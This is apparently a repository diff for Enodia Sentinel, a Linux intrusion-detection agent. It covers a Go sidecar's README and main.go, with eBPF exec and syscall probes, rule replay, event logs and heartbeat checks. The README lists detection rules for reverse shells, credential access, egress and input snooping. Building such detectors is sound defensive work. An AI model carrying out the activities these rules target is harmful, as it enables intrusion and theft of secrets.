||||
**Files:** none (verification only).
|
||||
|
||||
**Interfaces:** none.
|
||||
|
||||
- [ ] **Step 1: Run the whole suite to confirm nothing regressed**
|
||||
|
||||
Run: `python3 -m unittest discover -s tests -v`
|
||||
Expected: PASS — the existing suite plus the 7 new envelope tests. No existing schema-contract test changes behavior (the work is purely additive).
|
||||
|
||||
- [ ] **Step 2: Confirm the additive guarantee held**
|
||||
|
||||
Run: `git diff --stat HEAD~2 -- enodia_sentinel/`
|
||||
Expected: only `schemas.py` (one added line) and the new `event.py` appear — no existing emitter (`alert.py`, `snapshot.py`, `incident.py`, `web.py`) was modified, proving the change is non-breaking.
|
||||
|
||||
---
|
||||
|
||||
## Self-Review
|
||||
|
||||
**Spec coverage (Phase 0 = "Freeze and extend the v1 EVE-style event envelope in SCHEMAS.md; `event_type` discriminator; alert/incident/status as event types; the Python↔Go contract; no language change yet"):**
|
||||
- EVE-style envelope with `event_type` discriminator → Task 1 (`build_event`, `EVENT_TYPES`).
|
||||
- alert/incident/status as event types → Task 1 (`EVENT_TYPES = {"alert","incident","status"}`); alert reference mapping → Task 2 (`from_alert`). Incident/status wrappers are deferred to their emitter phases; the discriminator set already reserves them additively, satisfying "as event types" at the contract level.
|
||||
- Documented in `SCHEMAS.md` → Tasks 1 & 2.
|
||||
- Compatibility tests pin the contract → Tasks 1 & 2; regression proven → Task 3.
|
||||
- No language change → confirmed; all Python, additive.
|
||||
|
||||
**Placeholder scan:** none — every code and doc step shows exact content.
|
||||
|
||||
**Type consistency:** `build_event(event_type, payload, *, host, timestamp)` and `from_alert(alert, *, host, timestamp)` signatures match between the interface blocks, the code steps, and the tests. `EVENT_V1`/`EVENT_TYPES` names are consistent across schemas.py, event.py, and tests. Envelope keys (`schema`, `event_type`, `timestamp`, `host`, `<event_type>`) are identical in code, tests, and the SCHEMAS.md table.
|
||||
|
||||
**Scope:** single subsystem, additive, independently testable; no decomposition needed.
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# Enodia Sentinel Go Agent (Phase 1 Prototype)
|
||||
# Enodia Sentinel Go Agent (Migration Sidecar)
|
||||
|
||||
This directory is the parallel Go implementation described in
|
||||
`docs/SURICATA_ASSIMILATION.md`. Python remains the production agent and the
|
||||
|
|
@ -14,27 +14,160 @@ Current scope:
|
|||
`deleted_exe` (`100012`), `input_snooper` (`100032`), and
|
||||
`credential_access` (`100033`), plus `reverse_shell` (`100010`), `egress`
|
||||
(`100016`), `stealth_network` (`100036`), and the `/proc/<pid>/maps`
|
||||
`memory_obfuscation` cohort (`100039`, `100048`, `100049`);
|
||||
- `enodia.status.v1` heartbeat records with no persistence or retained-alert
|
||||
claims;
|
||||
`memory_obfuscation` cohort (`100039`, `100048`, `100049`), and
|
||||
`first_seen` (`100074`, `100075`), `new_listener` (`100013`),
|
||||
`persistence` (`100015`), and `new_suid` (`100014`);
|
||||
- an opt-in live baseline lifecycle (`--state-dir`) that builds listener/SUID
|
||||
baselines, honors the startup grace gate, scans persistence paths, and
|
||||
atomically retains `first-seen.json` using the Python-compatible schema;
|
||||
- pure exec and syscall event models plus replayable rule engines: built-in
|
||||
exec SIDs `100001`–`100004`, configured `[[exec_rules]]`, and syscall SIDs
|
||||
`100060`–`100066` now emit Python-identical alert envelopes without requiring
|
||||
a kernel probe;
|
||||
- typed host-event SIDs `100067`–`100073` and `100076`–`100078`, a unified
|
||||
mixed JSONL pipeline, Python-compatible `rules-list`/`rules-show` metadata,
|
||||
correlation SID `100080`, and a shared per-key cooldown gate;
|
||||
- opt-in native exec (`--ebpf-exec`) and security-syscall (`--ebpf-syscall`)
|
||||
tracepoint sources built with `cilium/ebpf` v0.22.0 and CO-RE parent-process
|
||||
lookup. They feed the same rule/cooldown/envelope paths as replay and degrade
|
||||
to polling when loading, attaching, or reading is unavailable. The syscall
|
||||
probe filters its security-relevant syscall numbers in-kernel and also routes
|
||||
`setuid`/`setgid` into typed host-event SIDs `100071`/`100072`, plus
|
||||
`chmod`/`chown` variants into SID `100070`, `capset` into SID `100077`, and
|
||||
`finit_module` into SID `100078` after resolving the module FD path. Confirmed
|
||||
interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are
|
||||
enter/exit-correlated for SID `100069`.
|
||||
Successful IPv4/IPv6 `connect`, `bind`, `listen`, and `accept` calls feed SIDs
|
||||
`100067`, `100073`, `100068`, and `100076`;
|
||||
- `enodia.status.v1` heartbeat records whose alert totals, severity counts, and
|
||||
last-alert time are derived from the retained Go snapshot store;
|
||||
- optional bounded JSONL retention (`--event-log`) with private permissions,
|
||||
one rotated segment, and synchronous flushes for non-status records;
|
||||
- optional `enodia.alert.snapshot.v1` JSON/text pairs (`--snapshot-dir`) with
|
||||
same-second alert batching, best-effort `/proc` context, and Python-compatible
|
||||
count/age pruning;
|
||||
- a shared fixture checked against the Python detector by
|
||||
`scripts/check-go-parity.py`.
|
||||
|
||||
It does not install a service, write Python state, capture eBPF events, retain
|
||||
snapshots, or replace `enodia-sentinel`. Run a single terminal-visible sweep:
|
||||
It does not yet provide Python's incident grouping, rich enrichment, assurance
|
||||
chain, or notification fan-out for those snapshots, and it does not replace
|
||||
`enodia-sentinel`. The module requires Go 1.25 or newer; development is currently
|
||||
verified with Go 1.26.5. Run a single terminal-visible stateless sweep:
|
||||
|
||||
```bash
|
||||
cd go-agent
|
||||
GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go --once
|
||||
```
|
||||
|
||||
Print the packaged agent identity with `enodia-sentinel-go --version`.
|
||||
|
||||
Exercise the live baseline lifecycle in an isolated directory (do not point the
|
||||
migration sidecar at the production Python agent's state directory):
|
||||
|
||||
```bash
|
||||
GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go \
|
||||
--state-dir /tmp/enodia-sentinel-go-state
|
||||
```
|
||||
|
||||
Development verification from the repository root:
|
||||
|
||||
```bash
|
||||
make generate-go # only after editing internal/ebpfsource/bpf/*.bpf.c
|
||||
make test-go
|
||||
make parity-go
|
||||
```
|
||||
|
||||
`--fixture`, `--host`, `--timestamp`, and `--proc-root` exist for deterministic
|
||||
parity/testing. Production work should continue to use the default live
|
||||
`/proc`, hostname, and local timestamp.
|
||||
Build and install the opt-in production validation sidecar from the repository
|
||||
root:
|
||||
|
||||
```bash
|
||||
make build-go
|
||||
sudo make install-go
|
||||
sudo make enable-go
|
||||
make status-go
|
||||
make logs-go
|
||||
```
|
||||
|
||||
`enodia-sentinel-go-sidecar.service` writes JSONL to the system journal and
|
||||
keeps baseline lifecycle files under `/var/lib/enodia-sentinel-go`. It also
|
||||
retains the same envelopes in `events.jsonl`, rotating to `events.jsonl.1`
|
||||
before the active file exceeds 64 MiB. Both files are mode `0600`; alert and
|
||||
incident records are synchronized before emission succeeds, while routine
|
||||
status records use normal kernel writeback. It never shares the Python daemon's
|
||||
`/var/log/enodia-sentinel` state. Both native probes are requested by the unit;
|
||||
a probe load failure is visible in status events and the polling loop remains
|
||||
active. Installing the sidecar does not enable it or alter
|
||||
`enodia-sentinel.service`. The unit reaches `active` only after baseline
|
||||
initialization, event-log and snapshot-store preflight, and both requested probe
|
||||
load attempts finish.
|
||||
|
||||
Alert envelopes are also batched into private
|
||||
`alert-YYYYMMDD-HHMMSS.{json,log}` pairs under the same isolated directory.
|
||||
The JSON side implements the required `enodia.alert.snapshot.v1` fields and the
|
||||
service applies shared `max_snapshots` / `max_snapshot_age_days` limits. Status
|
||||
counts are populated only from parseable retained snapshots. Enrichment is
|
||||
currently limited to a Go-source marker plus best-effort process detail;
|
||||
incident indexing and the Python forensic enrichment/assurance pipeline remain
|
||||
future parity work.
|
||||
|
||||
After every successfully emitted status record, the service atomically updates
|
||||
`/var/lib/enodia-sentinel-go/heartbeat` with the current Unix timestamp (mode
|
||||
`0600`). The file remains after shutdown so external watchdogs can identify a
|
||||
stale sensor.
|
||||
|
||||
Check that signal with JSON output and a watchdog-friendly exit status:
|
||||
|
||||
```bash
|
||||
enodia-sentinel-go --health
|
||||
# For an isolated development run:
|
||||
enodia-sentinel-go --health --state-dir /tmp/enodia-sentinel-go-state
|
||||
```
|
||||
|
||||
The command uses `heartbeat_max_age` from the shared configuration, defaults to
|
||||
the service state path when `--state-dir` is omitted, and exits nonzero for a
|
||||
missing, malformed, or stale heartbeat.
|
||||
|
||||
For an ad-hoc retained run, set an explicit path and byte bound:
|
||||
|
||||
```bash
|
||||
enodia-sentinel-go --state-dir /tmp/enodia-go-state \
|
||||
--event-log /tmp/enodia-go-state/events.jsonl \
|
||||
--event-log-max-bytes 8388608
|
||||
```
|
||||
|
||||
Inspect recent retained records across both the active and rotated segments:
|
||||
|
||||
```bash
|
||||
sudo enodia-sentinel-go --events-tail 50
|
||||
# Or inspect an ad-hoc state tree:
|
||||
enodia-sentinel-go --events-tail 50 --state-dir /tmp/enodia-go-state
|
||||
```
|
||||
|
||||
The reader returns chronological JSONL, validates every source record, and
|
||||
fails nonzero rather than forwarding corrupted evidence. It does not load the
|
||||
agent configuration, so retained evidence remains available while a broken
|
||||
configuration prevents the service from starting.
|
||||
|
||||
`--fixture`, `--host`, `--timestamp`, `--proc-root`, and `--suid-root` exist for
|
||||
deterministic parity/testing. Fixture mode never activates the live baseline
|
||||
manager. Production work should continue to use the default live `/proc`,
|
||||
hostname, and local timestamp.
|
||||
|
||||
The kernel sources are explicitly opt-in while this remains a sidecar. They
|
||||
require the privileges needed to load BPF programs and create maps. A load
|
||||
failure is reported on stderr and in `enodia.status.v1`, then the poll loop
|
||||
continues:
|
||||
|
||||
```bash
|
||||
sudo go run ./cmd/enodia-sentinel-go --ebpf-exec --ebpf-syscall
|
||||
```
|
||||
|
||||
Offline event-rule replays remain available without BPF or root:
|
||||
|
||||
```bash
|
||||
go run ./cmd/enodia-sentinel-go --exec-events ../tests/fixtures/go/exec-events.json
|
||||
go run ./cmd/enodia-sentinel-go --syscall-events ../tests/fixtures/go/syscall-events.json
|
||||
go run ./cmd/enodia-sentinel-go --host-events ../tests/fixtures/go/host-events.json
|
||||
go run ./cmd/enodia-sentinel-go --event-stream ../tests/fixtures/go/mixed-events.jsonl
|
||||
go run ./cmd/enodia-sentinel-go --rules-list
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,22 +1,34 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// enodia-sentinel-go is the experimental Phase 1 sidecar. Python remains the
|
||||
// production implementation and behavioral oracle until parity is complete.
|
||||
// enodia-sentinel-go is the migration validation sidecar. Python remains the
|
||||
// production default and behavioral oracle until parity is complete.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/correlation"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/eventlog"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/health"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/sdnotify"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/snapshot"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/system"
|
||||
)
|
||||
|
||||
|
|
@ -31,15 +43,122 @@ func run() error {
|
|||
once := flag.Bool("once", false, "emit one sweep and exit")
|
||||
configPath := flag.String("config", "", "Sentinel TOML path (default: ENODIA_CONFIG or /etc/enodia-sentinel.toml)")
|
||||
procRoot := flag.String("proc-root", "/proc", "procfs root")
|
||||
stateDir := flag.String("state-dir", "", "enable baseline lifecycle in this directory")
|
||||
suidRoot := flag.String("suid-root", "/", "SUID scan root (testing only)")
|
||||
fixture := flag.String("fixture", "", "JSON SystemState fixture (parity/testing only)")
|
||||
execEvents := flag.String("exec-events", "", "replay a JSON array of exec events and exit")
|
||||
syscallEvents := flag.String("syscall-events", "", "replay a JSON array of syscall events and exit")
|
||||
hostEvents := flag.String("host-events", "", "replay a JSON array of typed host events and exit")
|
||||
eventStream := flag.String("event-stream", "", "match mixed JSONL events from a file or - for stdin")
|
||||
eventLogPath := flag.String("event-log", "", "append live event envelopes to a bounded JSONL file")
|
||||
eventLogMaxBytes := flag.Int64("event-log-max-bytes", 64<<20, "rotate the retained event log before this size")
|
||||
eventsTail := flag.Int("events-tail", 0, "print the newest N retained event records and exit")
|
||||
snapshotDir := flag.String("snapshot-dir", "", "retain bounded alert snapshot pairs in this directory")
|
||||
rulesList := flag.Bool("rules-list", false, "emit the active event-rule catalog as JSON and exit")
|
||||
rulesShow := flag.Int("rules-show", 0, "emit one event rule by SID as JSON and exit")
|
||||
correlateFile := flag.String("correlate", "", "correlate a JSON array of incident summaries and exit")
|
||||
ebpfExec := flag.Bool("ebpf-exec", false, "enable the native execve eBPF source (fails open to polling)")
|
||||
ebpfSyscall := flag.Bool("ebpf-syscall", false, "enable the native security-syscall eBPF source (fails open to polling)")
|
||||
checkHealth := flag.Bool("health", false, "check the state heartbeat as JSON and exit")
|
||||
showVersion := flag.Bool("version", false, "print version and exit")
|
||||
host := flag.String("host", "", "override hostname (parity/testing only)")
|
||||
timestamp := flag.String("timestamp", "", "override RFC3339 timestamp (parity/testing only)")
|
||||
flag.Parse()
|
||||
if *showVersion {
|
||||
fmt.Println(agent.Version)
|
||||
return nil
|
||||
}
|
||||
if *eventsTail < 0 {
|
||||
return fmt.Errorf("events-tail must be non-negative")
|
||||
}
|
||||
if *eventsTail > 0 {
|
||||
path := *eventLogPath
|
||||
if path == "" {
|
||||
eventsDir := *stateDir
|
||||
if eventsDir == "" {
|
||||
eventsDir = "/var/lib/enodia-sentinel-go"
|
||||
}
|
||||
path = eventsDir + "/events.jsonl"
|
||||
}
|
||||
rows, err := eventlog.ReadRecent(path, *eventsTail)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, row := range rows {
|
||||
if _, err := os.Stdout.Write(append(row, '\n')); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
cfg, err := config.Load(*configPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if *checkHealth {
|
||||
healthDir := *stateDir
|
||||
if healthDir == "" {
|
||||
healthDir = "/var/lib/enodia-sentinel-go"
|
||||
}
|
||||
status := health.Check(healthDir, time.Now(), time.Duration(cfg.HeartbeatMaxAge)*time.Second)
|
||||
encoder := json.NewEncoder(os.Stdout)
|
||||
encoder.SetEscapeHTML(false)
|
||||
if err := encoder.Encode(status); err != nil {
|
||||
return err
|
||||
}
|
||||
if !status.Healthy {
|
||||
return errors.New(status.Detail)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if *rulesList || *rulesShow != 0 {
|
||||
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
catalog := events.RuleCatalog(engine)
|
||||
payload := any(catalog)
|
||||
if *rulesShow != 0 {
|
||||
rule := events.FindRule(catalog, *rulesShow)
|
||||
if rule == nil {
|
||||
return fmt.Errorf("no such rule sid: %d", *rulesShow)
|
||||
}
|
||||
payload = rule
|
||||
}
|
||||
encoder := json.NewEncoder(os.Stdout)
|
||||
encoder.SetEscapeHTML(false)
|
||||
return encoder.Encode(payload)
|
||||
}
|
||||
if *correlateFile != "" {
|
||||
raw, err := os.ReadFile(*correlateFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var incidents []correlation.Incident
|
||||
if err := json.Unmarshal(raw, &incidents); err != nil {
|
||||
return fmt.Errorf("correlation incidents: %w", err)
|
||||
}
|
||||
results := make([][]correlation.Record, 0, len(incidents))
|
||||
for _, incident := range incidents {
|
||||
results = append(results, correlation.Correlate(incident, nil))
|
||||
}
|
||||
encoder := json.NewEncoder(os.Stdout)
|
||||
encoder.SetEscapeHTML(false)
|
||||
return encoder.Encode(results)
|
||||
}
|
||||
if *execEvents != "" {
|
||||
return replayExecEvents(cfg, *execEvents, *host, *timestamp, os.Stdout)
|
||||
}
|
||||
if *syscallEvents != "" {
|
||||
return replaySyscallEvents(*syscallEvents, *host, *timestamp, os.Stdout)
|
||||
}
|
||||
if *hostEvents != "" {
|
||||
return replayHostEvents(*hostEvents, *host, *timestamp, os.Stdout)
|
||||
}
|
||||
if *eventStream != "" {
|
||||
return replayEventStream(cfg, *eventStream, *host, *timestamp, os.Stdout)
|
||||
}
|
||||
capture := func() (model.State, error) { return system.Capture(*procRoot) }
|
||||
if *fixture != "" {
|
||||
capture = func() (model.State, error) {
|
||||
|
|
@ -54,6 +173,18 @@ func run() error {
|
|||
}
|
||||
|
||||
runner := agent.New(cfg, capture)
|
||||
runner.SetExecProbeStatus("off (not requested)")
|
||||
runner.SetSyscallProbeStatus("off (not requested)")
|
||||
if *fixture == "" && *stateDir != "" {
|
||||
// Stateful mode is explicit so an opt-in validation sidecar
|
||||
// cannot overwrite the production Python agent's baseline files merely
|
||||
// by being run for a smoke test.
|
||||
cfg.LogDir = *stateDir
|
||||
runner.Config = cfg
|
||||
runner.Lifecycle = baseline.New(cfg, func() []string {
|
||||
return system.ScanSUIDBinaries(*suidRoot, cfg.SUIDScanExtraDirs)
|
||||
})
|
||||
}
|
||||
if *host != "" {
|
||||
runner.Host = func() (string, error) { return *host, nil }
|
||||
}
|
||||
|
|
@ -64,12 +195,370 @@ func run() error {
|
|||
}
|
||||
runner.Now = func() time.Time { return fixed }
|
||||
}
|
||||
if err := runner.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var execSource *ebpfsource.ExecSource
|
||||
var execEngine events.ExecRuleEngine
|
||||
if *ebpfExec {
|
||||
execEngine, err = events.LoadExecRuleEngine(cfg.ExecRulesFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
execSource, err = ebpfsource.OpenExecSource()
|
||||
if err != nil {
|
||||
runner.SetExecProbeStatus("disabled (" + probeFailureStatus(err) + ")")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor disabled:", err)
|
||||
} else {
|
||||
runner.SetExecProbeStatus("enabled")
|
||||
defer execSource.Close()
|
||||
}
|
||||
}
|
||||
var syscallSource *ebpfsource.SyscallSource
|
||||
if *ebpfSyscall {
|
||||
syscallSource, err = ebpfsource.OpenSyscallSource(*procRoot)
|
||||
if err != nil {
|
||||
runner.SetSyscallProbeStatus("disabled (" + probeFailureStatus(err) + ")")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor disabled:", err)
|
||||
} else {
|
||||
runner.SetSyscallProbeStatus("enabled")
|
||||
defer syscallSource.Close()
|
||||
}
|
||||
}
|
||||
var retainedEvents *eventlog.Writer
|
||||
if *eventLogPath != "" {
|
||||
retainedEvents, err = eventlog.New(*eventLogPath, *eventLogMaxBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
var snapshotStore *snapshot.Store
|
||||
if *snapshotDir != "" {
|
||||
snapshotStore, err = snapshot.New(
|
||||
*snapshotDir, *procRoot, cfg.MaxSnapshots, cfg.MaxSnapshotAgeDays,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
notifier := sdnotify.FromEnvironment()
|
||||
if err := notifier.Notify("READY=1\nSTATUS=initialization complete; poll loop ready"); err != nil {
|
||||
return fmt.Errorf("systemd readiness notification: %w", err)
|
||||
}
|
||||
defer notifier.Notify("STOPPING=1\nSTATUS=stopping") //nolint:errcheck -- process exit is already committed
|
||||
|
||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
|
||||
defer stop()
|
||||
encoder := json.NewEncoder(os.Stdout)
|
||||
encoder.SetEscapeHTML(false)
|
||||
return runner.Run(ctx, *once, func(event map[string]any) error {
|
||||
return encoder.Encode(event)
|
||||
var encoderMu sync.Mutex
|
||||
emit := func(event map[string]any) error {
|
||||
encoderMu.Lock()
|
||||
defer encoderMu.Unlock()
|
||||
if snapshotStore != nil && event["event_type"] == "alert" {
|
||||
if _, err := snapshotStore.CaptureEvent(event); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if snapshotStore != nil && event["event_type"] == "status" {
|
||||
if status, ok := event["status"].(schema.Status); ok {
|
||||
stats, err := snapshotStore.SnapshotStats()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
status.TotalAlerts = stats.Total
|
||||
status.Counts = stats.Counts
|
||||
status.LastAlert = stats.LastAlert
|
||||
event["status"] = status
|
||||
}
|
||||
}
|
||||
if retainedEvents != nil {
|
||||
if err := retainedEvents.Append(event); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := encoder.Encode(event); err != nil {
|
||||
return err
|
||||
}
|
||||
if *stateDir != "" && event["event_type"] == "status" {
|
||||
if err := health.WriteHeartbeat(*stateDir, time.Now()); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if execSource != nil && !*once {
|
||||
go monitorExecSource(ctx, execSource, execEngine, runner, emit)
|
||||
}
|
||||
if syscallSource != nil && !*once {
|
||||
go monitorSyscallSource(
|
||||
ctx, syscallSource, events.DefaultSyscallRuleEngine(),
|
||||
events.DefaultHostRuleEngine(), runner, emit,
|
||||
)
|
||||
}
|
||||
return runner.Run(ctx, *once, emit)
|
||||
}
|
||||
|
||||
func monitorExecSource(
|
||||
ctx context.Context,
|
||||
source execEventReader,
|
||||
engine events.ExecRuleEngine,
|
||||
runner *agent.Agent,
|
||||
emit agent.EmitFunc,
|
||||
) {
|
||||
for {
|
||||
execEvent, err := source.Read()
|
||||
if err != nil {
|
||||
var lost ebpfsource.LostSamplesError
|
||||
if errors.As(err, &lost) {
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error())
|
||||
continue
|
||||
}
|
||||
if ctx.Err() == nil {
|
||||
runner.SetExecProbeStatus("disabled (reader failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
records, err := runner.AlertEvents(engine.Match(execEvent))
|
||||
if err != nil {
|
||||
runner.SetExecProbeStatus("disabled (event encoding failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
|
||||
return
|
||||
}
|
||||
for _, record := range records {
|
||||
if err := emit(record); err != nil {
|
||||
runner.SetExecProbeStatus("disabled (output failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func monitorSyscallSource(
|
||||
ctx context.Context,
|
||||
source syscallEventReader,
|
||||
syscallEngine events.SyscallRuleEngine,
|
||||
hostEngine events.HostRuleEngine,
|
||||
runner *agent.Agent,
|
||||
emit agent.EmitFunc,
|
||||
) {
|
||||
for {
|
||||
securityEvent, err := source.Read()
|
||||
if err != nil {
|
||||
var lost ebpfsource.SyscallLostSamplesError
|
||||
if errors.As(err, &lost) {
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error())
|
||||
continue
|
||||
}
|
||||
if ctx.Err() == nil {
|
||||
runner.SetSyscallProbeStatus("disabled (reader failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
var alerts []model.Alert
|
||||
if securityEvent.Syscall != nil {
|
||||
alerts = syscallEngine.Match(*securityEvent.Syscall)
|
||||
} else if securityEvent.Host != nil {
|
||||
alerts = hostEngine.Match(*securityEvent.Host)
|
||||
}
|
||||
records, err := runner.AlertEvents(alerts)
|
||||
if err != nil {
|
||||
runner.SetSyscallProbeStatus("disabled (event encoding failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
|
||||
return
|
||||
}
|
||||
for _, record := range records {
|
||||
if err := emit(record); err != nil {
|
||||
runner.SetSyscallProbeStatus("disabled (output failure)")
|
||||
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type execEventReader interface {
|
||||
Read() (events.ExecEvent, error)
|
||||
}
|
||||
|
||||
type syscallEventReader interface {
|
||||
Read() (ebpfsource.SecurityEvent, error)
|
||||
}
|
||||
|
||||
func probeFailureStatus(err error) string {
|
||||
if errors.Is(err, syscall.EPERM) || errors.Is(err, syscall.EACCES) {
|
||||
return "permission denied"
|
||||
}
|
||||
line, _, _ := strings.Cut(err.Error(), "\n")
|
||||
const limit = 160
|
||||
characters := []rune(line)
|
||||
if len(characters) > limit {
|
||||
line = string(characters[:limit-1]) + "…"
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
func replayExecEvents(cfg config.Config, path, host, timestamp string, output *os.File) error {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var replay []events.ExecEvent
|
||||
if err := json.Unmarshal(raw, &replay); err != nil {
|
||||
return fmt.Errorf("exec events: %w", err)
|
||||
}
|
||||
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if host == "" {
|
||||
host, err = os.Hostname()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if timestamp == "" {
|
||||
timestamp = time.Now().Local().Format(time.RFC3339Nano)
|
||||
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
|
||||
return fmt.Errorf("timestamp: %w", err)
|
||||
}
|
||||
encoder := json.NewEncoder(output)
|
||||
encoder.SetEscapeHTML(false)
|
||||
for _, execEvent := range replay {
|
||||
for _, alert := range engine.Match(execEvent) {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := encoder.Encode(record); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func replaySyscallEvents(path, host, timestamp string, output *os.File) error {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var replay []events.SyscallEvent
|
||||
if err := json.Unmarshal(raw, &replay); err != nil {
|
||||
return fmt.Errorf("syscall events: %w", err)
|
||||
}
|
||||
if host == "" {
|
||||
host, err = os.Hostname()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if timestamp == "" {
|
||||
timestamp = time.Now().Local().Format(time.RFC3339Nano)
|
||||
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
|
||||
return fmt.Errorf("timestamp: %w", err)
|
||||
}
|
||||
engine := events.DefaultSyscallRuleEngine()
|
||||
encoder := json.NewEncoder(output)
|
||||
encoder.SetEscapeHTML(false)
|
||||
for _, syscallEvent := range replay {
|
||||
for _, alert := range engine.Match(syscallEvent) {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := encoder.Encode(record); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func replayHostEvents(path, host, timestamp string, output *os.File) error {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var replay []events.HostEvent
|
||||
if err := json.Unmarshal(raw, &replay); err != nil {
|
||||
return fmt.Errorf("host events: %w", err)
|
||||
}
|
||||
if host == "" {
|
||||
host, err = os.Hostname()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if timestamp == "" {
|
||||
timestamp = time.Now().Local().Format(time.RFC3339Nano)
|
||||
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
|
||||
return fmt.Errorf("timestamp: %w", err)
|
||||
}
|
||||
engine := events.DefaultHostRuleEngine()
|
||||
encoder := json.NewEncoder(output)
|
||||
encoder.SetEscapeHTML(false)
|
||||
for _, hostEvent := range replay {
|
||||
for _, alert := range engine.Match(hostEvent) {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := encoder.Encode(record); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func replayEventStream(cfg config.Config, path, host, timestamp string, output *os.File) error {
|
||||
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var input *os.File
|
||||
if path == "-" {
|
||||
input = os.Stdin
|
||||
} else {
|
||||
input, err = os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer input.Close()
|
||||
}
|
||||
if host == "" {
|
||||
